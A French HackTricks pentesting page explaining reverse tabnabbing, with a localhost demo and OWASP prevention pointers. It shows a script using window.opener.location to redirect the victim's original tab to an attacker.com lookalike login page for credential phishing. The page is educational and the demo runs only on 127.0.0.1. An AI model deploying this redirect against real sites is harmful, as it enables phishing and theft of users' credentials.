hacktricks/pentesting-web/reverse-tab-nabbing.md

118 lines
6.8 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 12:41:36 +00:00
# Description
2021-05-01 15:23:19 +00:00
Dans une situation où un **attaquant** peut **contrôler** l'argument **`href`** d'une balise **`<a`** avec l'attribut **`target="_blank" rel="opener"`** qui va être cliqué par une victime, l'**attaquant** peut **rediriger** ce **lien** vers un site web sous son contrôle (un **site web** **malveillant**). Ensuite, une fois que la **victime clique** sur le lien et accède au site web de l'attaquant, ce **site web** **malveillant** pourra **contrôler** la **page originale** via l'objet javascript **`window.opener`**.\
Si la page n'a pas de **`rel="opener"` mais contient `target="_blank"` et n'a pas `rel="noopener"`**, elle peut également être vulnérable.
2021-05-01 15:23:19 +00:00
Une façon courante d'exploiter ce comportement serait de **changer l'emplacement du site web d'origine** via `window.opener.location = https://attacker.com/victim.html` vers un site web contrôlé par l'attaquant qui **ressemble à l'original**, afin de **imiter** le **formulaire de connexion** du site web original et de demander les identifiants à l'utilisateur.
2021-05-01 15:23:19 +00:00
Cependant, notez que comme l'**attaquant peut maintenant contrôler l'objet fenêtre du site web d'origine**, il peut l'exploiter de différentes manières pour effectuer des **attaques plus discrètes** (peut-être en modifiant les événements javascript pour exfiltrer des informations vers un serveur contrôlé par lui ?)
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
# Aperçu
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
## Avec lien de retour
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
Lien entre les pages parent et enfant lorsque l'attribut de prévention n'est pas utilisé :
2021-05-01 15:23:19 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
## Sans lien de retour
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
Lien entre les pages parent et enfant lorsque l'attribut de prévention est utilisé :
2021-05-01 15:23:19 +00:00
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
## Exemples <a href="#examples" id="examples"></a>
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
Créez les pages suivantes dans un dossier et exécutez un serveur web avec `python3 -m http.server`\
Ensuite, **accédez à** `http://127.0.0.1:8000/`vulnerable.html, **cliquez** sur le lien et notez comment l'**URL du site web original** **change**.
{% code title="vulnerable.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
2021-05-01 15:23:19 +00:00
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
2023-06-03 13:10:46 +00:00
## Propriétés accessibles <a href="#accessible-properties" id="accessible-properties"></a>
2021-05-01 15:23:19 +00:00
Dans le scénario où un accès **cross-origin** se produit (accès entre différents domaines), les propriétés de l'instance de la classe JavaScript **window**, référencée par l'objet JavaScript **opener**, qui peuvent être accessibles par un site malveillant sont limitées aux suivantes :
2021-05-01 15:23:19 +00:00
- **`opener.closed`** : Cette propriété est consultée pour déterminer si une fenêtre a été fermée, renvoyant une valeur booléenne.
- **`opener.frames`** : Cette propriété permet d'accéder à tous les éléments iframe dans la fenêtre actuelle.
- **`opener.length`** : Le nombre d'éléments iframe présents dans la fenêtre actuelle est renvoyé par cette propriété.
- **`opener.opener`** : Une référence à la fenêtre qui a ouvert la fenêtre actuelle peut être obtenue via cette propriété.
- **`opener.parent`** : Cette propriété renvoie la fenêtre parent de la fenêtre actuelle.
- **`opener.self`** : L'accès à la fenêtre actuelle elle-même est fourni par cette propriété.
- **`opener.top`** : Cette propriété renvoie la fenêtre du navigateur la plus en haut.
2021-05-01 15:23:19 +00:00
Cependant, dans les cas où les domaines sont identiques, le site malveillant obtient accès à toutes les propriétés exposées par la référence de l'objet JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
2021-05-01 15:23:19 +00:00
2023-06-03 13:10:46 +00:00
# Prévention
2021-05-01 15:23:19 +00:00
Les informations de prévention sont documentées dans la [Feuille de triche HTML5](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
2021-05-01 15:23:19 +00:00
## Références
2021-05-01 15:23:19 +00:00
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
2021-05-01 15:23:19 +00:00
2022-04-05 22:24:52 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Autres façons de soutenir HackTricks :
2022-04-28 16:01:33 +00:00
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>